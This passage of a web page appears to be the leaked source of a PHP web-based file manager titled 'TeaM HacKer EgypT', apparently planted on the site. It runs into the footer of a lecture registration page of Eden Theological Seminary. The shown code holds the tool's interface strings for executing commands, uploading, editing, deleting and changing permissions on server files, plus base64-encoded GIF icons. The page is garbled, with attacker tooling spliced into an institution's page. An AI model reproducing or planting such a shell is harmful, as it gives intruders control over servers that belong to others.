'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\ [%1]", 'not_deleted' => "These files could not be deleted:\ [%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\ [%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\ [%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\ [%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\ [%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\ {%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\ {%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.' ); } } function getimage ($image) { switch ($image) { case 'file': return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); case 'folder': return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'); case 'hidden_file': return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'); case 'link': return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA'); case 'smiley': return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA='); case 'arrow': return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw=='); } } function html_header () { global $site_charset; echo << TeaM HacKer EgypT END; } function html_footer () { echo << END; } function notice ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return ' ' . phrase($phrase, $args) . ' '; } function error ($phrase) { global $cols; $args = func_get_args(); array_shift($args); return ' ' . phrase($phrase, $args) . ' '; } ?>
Bracke Lecture Registration  




Eden Theological Seminary

475 East Lockwood Avenue • Saint Louis, Missouri 63119-3192 • PHONE: 314.961.3627 • TOLL-FREE 800.969.3672